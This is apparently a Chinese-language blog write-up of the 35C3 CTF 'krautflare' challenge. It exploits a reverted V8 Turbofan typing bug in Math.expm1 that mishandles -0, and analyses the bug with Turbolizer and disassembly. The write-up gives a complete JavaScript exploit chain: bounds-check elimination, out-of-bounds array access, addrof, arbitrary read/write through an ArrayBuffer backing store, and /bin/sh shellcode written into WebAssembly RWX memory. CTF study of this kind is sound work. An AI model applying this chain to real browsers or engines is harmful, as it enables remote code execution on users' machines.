35C3 CTF krautflare exploit

  1. 分析
  2. Trigger
  3. OOB
  4. OOB RW
  5. Addrof()
  6. Arbitrary Read/Write
  7. RCE

这是一个根据v8去年的Math.expm1()的bug改编出来的题目,题目下载地址:https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar

分析

project zero关于这个bug的描述:https://bugs.chromium.org/p/project-zero/issues/detail?id=1710

造成这个bug的主要原因就是typer将Math.expm1()方法返回的type设置为了Union(PlainNumber, NaN),这其实就忽略了-0,在V8中,0和-0其实并不完全一样。

可以用以下代码测试:

d8> Object.is(0, -0)
false
d8> 

-0实际上属于浮点数:

d8> %DebugPrint(-0)
DebugPrint: -0
0x282625580561: [Map]
 - type: HEAP_NUMBER_TYPE
 - instance size: 16
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x2826255804d1 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x282625580259 <DescriptorArray[0]>
 - layout descriptor: (nil)
 - prototype: 0x2826255801d9 <null>
 - constructor: 0x2826255801d9 <null>
 - dependent code: 0x2826255802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

0
d8> 

这里的HEAP_NUMBER_TYPE在V8中代表的就是浮点数。而PlainNumber在V8中表示除了-0之外的所有浮点数。也就是说typer在处理Math.expm1的时候漏掉了-0。然而实际上执行语句Math.expm1(-0)时会直接返回-0。可以用以下代码验证:

d8> Object.is(Math.expm1(-0), -0)
true
d8> 

再来看题目给的patch文件revert-bugfix-880207.patch

...
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     // Unary math functions.
     case BuiltinFunctionId::kMathAbs:
     case BuiltinFunctionId::kMathExp:
+    case BuiltinFunctionId::kMathExpm1:
       return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
     case BuiltinFunctionId::kMathAcos:
     case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     case BuiltinFunctionId::kMathAtanh:
     case BuiltinFunctionId::kMathCbrt:
     case BuiltinFunctionId::kMathCos:
-    case BuiltinFunctionId::kMathExpm1:
     case BuiltinFunctionId::kMathFround:
     case BuiltinFunctionId::kMathLog:
     case BuiltinFunctionId::kMathLog1p:
...

这里的patch给了我们前面提到的bug。同时题目给了一个build.sh,将里面的release替换为debug然后编译,方便调试。

Trigger

了解bug之后来尝试触发,根据前面的分析,typer认为Math.expm1只会返回PlainNumber和NaN,那么我们用-0和Math.expm1(x)比较就一直会返回false,当然,要达到这个效果,我们需要需要让JIT编译这段代码:

function foo(x){

    let res = Object.is(Math.expm1(x), -0);

    return res;
}

print("foo(0)  : "+foo(0));
%OptimizeFunctionOnNextCall(foo);
print("foo(-0) : "+foo(-0));
$ ./run.sh
foo(0)  : false
foo(-0) : true
V8 version 7.3.0 (candidate)
d8> 

结果明显不符合预期,因为如果触发了bug的话,foo(-0)应该返回false才对。这里就是这道题目和原来bug不一样的地方了,这里可以用Turbolizer跟踪一下优化过程,运行脚本(run.sh)的命令为:

/path/to/d8  --shell ./poc.js --allow-natives-syntax --trace-turbo

生成json文件后用Turbolizer导入:

1566443716450

直接看Simplified lowering phase,可以看到Math.expm1被替换为了Float64Expm1,这样的话typer就会对返回的type正常处理,这是我们不想看到的,所以不能让Float64Expm1被调用,于是我们可以在中间调用一个foo("0"),这样Turbofan就会搜集到这个信息并反馈,表示foo()还会接受String类型参数,然后调用更底层的Call来进行处理:

function foo(x){

    let res = Object.is(Math.expm1(x), -0);

    return res;
}

print("foo(0)  : "+foo(0));
%OptimizeFunctionOnNextCall(foo);
print("foo(-0) : "+foo(-0));
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0)  : "+foo(0));
print("foo(-0) : "+foo(-0));

这里使用两次优化的原因是要使用foo("0")触发负优化来让Turbofan搜集类型信息。

$ ./run.sh
foo(0)  : false
foo(-0) : true
foo(0)  : false
foo(-0) : false
V8 version 7.3.0 (candidate)
d8> 

成功返回false,表明typer返回的类型信息成功传递到了之后的优化阶段。

1566444181400

在typer lowering phase就可以看到foo()的返回值直接就被替换为了false,成功触发bug。

OOB

只让foo返回false似乎很难去利用,因为返回值被固定为了false。其实我们就可以利用这一点去触发一个OOB,因为Turbofan认为Object.is(Math.expm1(x), -0)一定返回false,那么我们将它转换成number的话,Turbofan也认为它一定是0(但实际上可能是1),这样的话Turbofan就会在Simple lowering phase去掉CheckBounds node,所以可以构造如下的代码:

function foo(x){

    let oob = [1.1, 1.2, 1.3, 1.4];
    let idx = Object.is(Math.expm1(x), -0);
    idx *= 1337;

    return oob[idx];
}

print("foo(0)  : "+foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0)  : "+foo(0));
print("foo(-0) : "+foo(-0));
$ ./run.sh
foo(0)  : 1.1
foo(0)  : 1.1
foo(-0) : 1.1
V8 version 7.3.0 (candidate)
d8> 

出现的结果比较奇怪,不管传入0或者-0都返回的是oob[0]的值,这似乎说明idx也被替换为了固定值,还是用Turbolizer看下过程:

1566453967115

可以看到确实没有了CheckBounds node,但是idx也被替换为了0。

1566454367693

再往前面找可以发现idx被替换为0应该是从typer开始的,因为typer认为idx计算出来的范围一定是Range(0, 0),所以干脆用固定值替换掉了(替换发生在下一个阶段Type lowering)。

现在需要寻找一种方法,能让Turbofan不那么早确定idx的值,在Simple lowering phase之前都不触发bug,而在Simple lowering phase的时候才触发,这样才能实现oob。完成这件事就是这个题目最难的部分,可以来看一下Turbofan pipeline:

Relevant Turbofan pipeline

基于让bug迟一点触发的想法,我们可以将Object.is()的两个参数都变成不确定的值,于是可以构造如下代码:

function foo(x, y){

    let idx = Object.is(Math.expm1(x), y);
    let oob = [1.1, 1.2, 1.3, 1.4];
    idx *= 1337;

    return oob[idx];
}

print("foo(0)  : "+foo(0, -0));
%OptimizeFunctionOnNextCall(foo);
foo("0", -0);
%OptimizeFunctionOnNextCall(foo);
print("foo(0)  : "+foo(0, -0));
print("foo(-0) : "+foo(-0, -0));
$ ./run.sh
foo(0)  : 1.1
foo(0)  : 1.1
foo(-0) : undefined
V8 version 7.3.0 (candidate)
d8> 

很明显失败了,CheckBounds node没有被去除。

1566456380856

Turbofan依然保留了SameValue node,说明Object.is()的返回值在它看来一直都是不确定的。

前面说到我们需要在Simple lowering phase触发bug才行,而前一个phase就是Escape Analyze,于是我们可以借助Escape Analyze来Reduce SameValue node。可以构造如下代码:

function foo(x){

    let aux = {mz:-0};
    let idx = Object.is(Math.expm1(x), aux.mz);
    let oob = [1.1, 1.2, 1.3, 1.4];
    idx *= 1337;

    return oob[idx];
}

print("foo(0)  : "+foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
print("foo(0)  : "+foo(0));
print("foo(-0) : "+foo(-0));

因为这样的话,我们访问aux.mz实际上Turbofan不确定auxaux.mz的类型,然后Turbofan去检查aux.mz,发现是-0的固定值,于是在Escape Analyze phase开始的时候就将aux.mz替换为了NumberConstant[-0]

1566457213464

通过前面的测试我们知道idx被替换为0发生在typer阶段,而我们通过设置aux.mz使得idx没有被替换,但是aux.mz的类型信息却被Simple lowering phase使用了,并因此去掉了CheckBounds,结果就是:

$ ./run.sh
foo(0)  : 1.1
foo(0)  : 1.1
foo(-0) : -1.1885946300594787e+148
V8 version 7.3.0 (candidate)
d8>

Turbofan编译出来的汇编代码如下,SameValue的返回值在0x12f偏移的位置,可以看到并没有被替换,而且没有边界检查:

kind = OPTIMIZED_FUNCTION
stack_slots = 6
compiler = turbofan
address = 0x7ffe3ab73e58
Instructions (size = 596)
0x12002a1bf380     0  REX.W leaq rbx,[rip+0xfffffff9]
0x12002a1bf387     7  REX.W cmpq rbx,rcx
0x12002a1bf38a     a  jz 0x12002a1bf3a4  <+0x24>
0x12002a1bf38c     c  REX.W movq rdx,0x3600000000
0x12002a1bf396    16  REX.W movq r10,0x7f76547f6120  (Abort)    ;; off heap target
0x12002a1bf3a0    20  call r10
0x12002a1bf3a3    23  int3l
0x12002a1bf3a4    24  REX.W movq rbx,[rcx-0x20]
0x12002a1bf3a8    28  testb [rbx+0xf],0x1
0x12002a1bf3ac    2c  jnz 0x12002a1039c0  (CompileLazyDeoptimizedCode)    ;; code: Builtin::CompileLazyDeoptimizedCode
0x12002a1bf3b2    32  push rbp
0x12002a1bf3b3    33  REX.W movq rbp,rsp
0x12002a1bf3b6    36  push rsi
0x12002a1bf3b7    37  push rdi
0x12002a1bf3b8    38  REX.W subq rsp,0x10
0x12002a1bf3bc    3c  REX.W movq [rbp-0x18],rsi
0x12002a1bf3c0    40  REX.W cmpq rsp,[r13+0x11e8] (root (stack_limit))
0x12002a1bf3c7    47  jna 0x12002a1bf532  <+0x1b2>
0x12002a1bf3cd    4d  REX.W movq rdi,0x8f3c0087239    ;; object: 0x08f3c0087239 <JSFunction expm1 (sfi = 0x4d5a538ff69)>
0x12002a1bf3d7    57  REX.W movq rsi,[rdi+0x1f]
0x12002a1bf3db    5b  REX.W movq rax,0x8f3c0086b99    ;; object: 0x08f3c0086b99 <Object map = 0x2db35a2012b9>
0x12002a1bf3e5    65  push rax
0x12002a1bf3e6    66  push [rbp+0x10]
0x12002a1bf3e9    69  REX.W movq rdx,[r13-0x28] (root (undefined_value))
0x12002a1bf3ed    6d  movl rax,0x1
0x12002a1bf3f2    72  REX.W movq r10,0x7f7654908d00  (MathExpm1)    ;; off heap target
0x12002a1bf3fc    7c  call r10
0x12002a1bf3ff    7f  REX.W movq rbx,[r13+0x6bf40] (WAAT??? What are we accessing here???)
0x12002a1bf406    86  REX.W leaq rdx,[rbx+0x30]
0x12002a1bf40a    8a  REX.W cmpq [r13+0x6bf48] (WAAT??? What are we accessing here???),rdx
0x12002a1bf411    91  jna 0x12002a1bf55a  <+0x1da>
0x12002a1bf417    97  REX.W leaq rdx,[rbx+0x30]
0x12002a1bf41b    9b  REX.W movq [r13+0x6bf40] (WAAT??? What are we accessing here???),rdx
0x12002a1bf422    a2  REX.W addq rbx,0x1
0x12002a1bf426    a6  REX.W movq rdx,[r13+0x160] (root (fixed_double_array_map))
0x12002a1bf42d    ad  REX.W movq [rbx-0x1],rdx
0x12002a1bf431    b1  REX.W movq rdx,0x400000000
0x12002a1bf43b    bb  REX.W movq [rbx+0x7],rdx
0x12002a1bf43f    bf  REX.W movq r10,0x3ff199999999999a
0x12002a1bf449    c9  vmovq xmm0,r10
0x12002a1bf44e    ce  vmovsd [rbx+0xf],xmm0
0x12002a1bf453    d3  REX.W movq r10,0x3ff3333333333333
0x12002a1bf45d    dd  vmovq xmm0,r10
0x12002a1bf462    e2  vmovsd [rbx+0x17],xmm0
0x12002a1bf467    e7  REX.W movq r10,0x3ff4cccccccccccd
0x12002a1bf471    f1  vmovq xmm0,r10
0x12002a1bf476    f6  vmovsd [rbx+0x1f],xmm0
0x12002a1bf47b    fb  REX.W movq r10,0x3ff6666666666666
0x12002a1bf485   105  vmovq xmm0,r10
0x12002a1bf48a   10a  vmovsd [rbx+0x27],xmm0
0x12002a1bf48f   10f  REX.W movq [rbp-0x18],rbx
0x12002a1bf493   113  xorl rsi,rsi
0x12002a1bf495   115  REX.W movq rdx,rax
0x12002a1bf498   118  REX.W movq rax,0x8f3c009ed31    ;; object: 0x08f3c009ed31 <HeapNumber -0>
0x12002a1bf4a2   122  REX.W movq r10,0x7f7654914960  (SameValue)    ;; off heap target
0x12002a1bf4ac   12c  call r10
0x12002a1bf4af   12f  REX.W cmpq [r13-0x10] (root (true_value)),rax
0x12002a1bf4b3   133  setzl al
0x12002a1bf4b6   136  movzxbl rax,rax
0x12002a1bf4b9   139  imull rax,rax,0x539
0x12002a1bf4bf   13f  REX.W movq rbx,[rbp-0x18]
0x12002a1bf4c3   143  vmovsd xmm0,[rbx+rax*8+0xf]
0x12002a1bf4c9   149  vcvttsd2si rax,xmm0
0x12002a1bf4cd   14d  vxorpd xmm1,xmm1,xmm1
0x12002a1bf4d1   151  vcvtlsi2sd xmm1,xmm1,rax
0x12002a1bf4d5   155  vucomisd xmm1,xmm0
0x12002a1bf4d9   159  jpe 0x12002a1bf4f9  <+0x179>
0x12002a1bf4df   15f  jnz 0x12002a1bf4f9  <+0x179>
0x12002a1bf4e5   165  cmpl rax,0x0
0x12002a1bf4e8   168  jz 0x12002a1bf57d  <+0x1fd>
0x12002a1bf4ee   16e  REX.W shlq rax, 32
0x12002a1bf4f2   172  REX.W movq rsp,rbp
0x12002a1bf4f5   175  pop rbp
0x12002a1bf4f6   176  ret 0x10
0x12002a1bf4f9   179  REX.W movq rax,[r13+0x6bf40] (WAAT??? What are we accessing here???)
0x12002a1bf500   180  REX.W leaq rbx,[rax+0x10]
0x12002a1bf504   184  REX.W cmpq [r13+0x6bf48] (WAAT??? What are we accessing here???),rbx
0x12002a1bf50b   18b  jna 0x12002a1bf5a5  <+0x225>
0x12002a1bf511   191  REX.W leaq rbx,[rax+0x10]
0x12002a1bf515   195  REX.W movq [r13+0x6bf40] (WAAT??? What are we accessing here???),rbx
0x12002a1bf51c   19c  REX.W addq rax,0x1
0x12002a1bf520   1a0  REX.W movq rbx,[r13+0x80] (root (heap_number_map))
0x12002a1bf527   1a7  REX.W movq [rax-0x1],rbx
0x12002a1bf52b   1ab  vmovsd [rax+0x7],xmm0
0x12002a1bf530   1b0  jmp 0x12002a1bf4f2  <+0x172>
0x12002a1bf532   1b2  REX.W movq rbx,0x7f76541bddd0    ;; external reference (Runtime::StackGuard)
0x12002a1bf53c   1bc  REX.W movq rsi,0x8f3c0081749    ;; object: 0x08f3c0081749 <NativeContext[249]>
0x12002a1bf546   1c6  xorl rax,rax
0x12002a1bf548   1c8  REX.W movq r10,0x7f7654a790a0  (CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit)    ;; off heap target
0x12002a1bf552   1d2  call r10
0x12002a1bf555   1d5  jmp 0x12002a1bf3cd  <+0x4d>
0x12002a1bf55a   1da  REX.W movq [rbp-0x20],rax
0x12002a1bf55e   1de  movl rdx,0x30
0x12002a1bf563   1e3  REX.W movq r10,0x7f7654768700  (AllocateInNewSpace)    ;; off heap target
0x12002a1bf56d   1ed  call r10
0x12002a1bf570   1f0  REX.W leaq rbx,[rax-0x1]
0x12002a1bf574   1f4  REX.W movq rax,[rbp-0x20]
0x12002a1bf578   1f8  jmp 0x12002a1bf417  <+0x97>
0x12002a1bf57d   1fd  vmovsd [rbp-0x18],xmm0
0x12002a1bf582   202  REX.W movq [rbp-0x20],rax
0x12002a1bf586   206  movl rax,[rbp-0x14]
0x12002a1bf589   209  cmpl rax,0x0
0x12002a1bf58c   20c  jl 0x12002a1bf59b  <+0x21b>
0x12002a1bf592   212  REX.W movq rax,[rbp-0x20]
0x12002a1bf596   216  jmp 0x12002a1bf4ee  <+0x16e>
0x12002a1bf59b   21b  vmovsd xmm0,[rbp-0x18]
0x12002a1bf5a0   220  jmp 0x12002a1bf4f9  <+0x179>
0x12002a1bf5a5   225  vmovsd [rbp-0x18],xmm0
0x12002a1bf5aa   22a  movl rdx,0x10
0x12002a1bf5af   22f  REX.W movq r10,[rip+0xffffffaf]
0x12002a1bf5b6   236  call r10
0x12002a1bf5b9   239  REX.W subq rax,0x1
0x12002a1bf5bd   23d  vmovsd xmm0,[rbp-0x18]
0x12002a1bf5c2   242  jmp 0x12002a1bf511  <+0x191>
0x12002a1bf5c7   247  nop
0x12002a1bf5c8   248  call 0x12002a282040     ;; debug: deopt position, script offset '65'
                                                             ;; debug: deopt position, inlining id '-1'
                                                             ;; debug: deopt reason '(unknown)'
                                                             ;; debug: deopt index 0
                                                             ;; lazy deoptimization bailout 0
0x12002a1bf5cd   24d  call 0x12002a282045     ;; debug: deopt position, script offset '12'
                                                             ;; debug: deopt position, inlining id '-1'
                                                             ;; debug: deopt reason '(unknown)'
                                                             ;; debug: deopt index 1
                                                             ;; lazy deoptimization bailout 1
0x12002a1bf5d2   252  nop

虽然现在实现了oob,但是非常不稳定,需要使用这个oob来扩大和稳定对V8的控制。(这个时候就不要用前面编译出来的debug版本的v8了,直接用题目提供的版本,因为我测试的时候发现我编译出来的d8泄露出来的数据不正常)

OOB RW

一个比较简单的构造稳定oob的方法就是,在原有的oob数组后面再申请一个JSArray,然后通过已有的oob修改JSArray.length,于是可以构造如下代码:

var oob_arr = undefined;
function foo(x) {

    let o = {mz: -0};
    let i = Object.is(Math.expm1(x), o.mz); // i = 0
    i *= 14; // Feedback i = 0; slot 14 is the b.length

    let a = [0.1, 0.2, 0.3, 0.4, 0.5];
    let b = [1.1, 1.2, 1.3, 1.4];
    oob_arr = b;
    a[i] = i2f(0x111100000000); // Modify length of oob_arr to make a out-of-bounds.

    return a[i];
}

Addrof()

之后再在后面申请一个普通对象var victim = {prop:{}};,通过victim来完成addrof()的构造:

function addrof(obj){
    victim.prop = obj;
    return f2i(oob_arr[0x1f]);
}

Arbitrary Read/Write

fakeobj()可以不用,因为我们可以通过第二个oob直接构造出Arbitrary Read/Write,方法就是在victim后面接着再申请一个ArrayBuffer,然后通过oob修改JSArrayBuffer.BackingStore指针:

var arb_buf = new ArrayBuffer(0x100);

function read64(addr){

    oob_arr[0x31] = i2f(addr);
    let buf_f64 = new Float64Array(arb_buf);

    return f2i(buf_f64[0]);
}

function arb_write(addr, content){

    oob_arr[0x31] = i2f(addr);
    if(typeof content == "number"){
        let buf_f64 = new Float64Array(arb_buf);
        buf_f64[0] = i2f(content);
    }else if(typeof content == "string"){
        let buf_u8 = new Uint8Array(arb_buf);
        for(let i=0, len=content.length; i<len; i++){
            buf_u8[i] = content[i].charCodeAt();
        }
    }

}

RCE

通过WASM构造出RWX memory,然后泄露出RWX memory的地址再写入shellcode就可以很轻松地RCE:

var pwn = {

    getRWXMem : function(){
        let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
        let wasmModule = new WebAssembly.Module(wasmCode);
        let wasmInstance = new WebAssembly.Instance(wasmModule);

        let shellcodeFunc = wasmInstance.exports.main;

        let shellcodeAddr = addrof(shellcodeFunc);
        shellcodeAddr = read64(shellcodeAddr-1+8*3);
        shellcodeAddr = read64(shellcodeAddr-1+8*1);
        shellcodeAddr = read64(shellcodeAddr-1+8*2);
        shellcodeAddr = read64(shellcodeAddr-1+8*0x1d);
        return [shellcodeFunc, shellcodeAddr];
    },
    start : function(){
        let shellcodeObj = this.getRWXMem();
        let shellcodeAddr = shellcodeObj[1];
        let shellcodeFunc = shellcodeObj[0];

        let shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x48\x31\xc0\xb0\x3b\x99\x4d\x31\xd2\x0f\x05";
        print("[*] Get RWX memory address : "+hex(shellcodeAddr));
        print("[*] Injecting shellcode...");
        arb_write(shellcodeAddr, shellcode);
        print("[*] Remote code execute...");
        shellcodeFunc();
    }

};

pwn.start();

以上代码测试的时候因为带上了--allow-natives-syntax,所以一些偏移和不带参数的可能不太一样。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎联系作者指出任何有错误或不够清晰的表达。

文章标题:35C3 CTF krautflare exploit

本文作者:7o8v

发布时间:2019-10-30, 19:33:13

最后更新:2019-10-30, 19:58:29

原始链接:http://www.7o8v.me/2019/10/30/35C3-CTF-krautflare-exploit/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录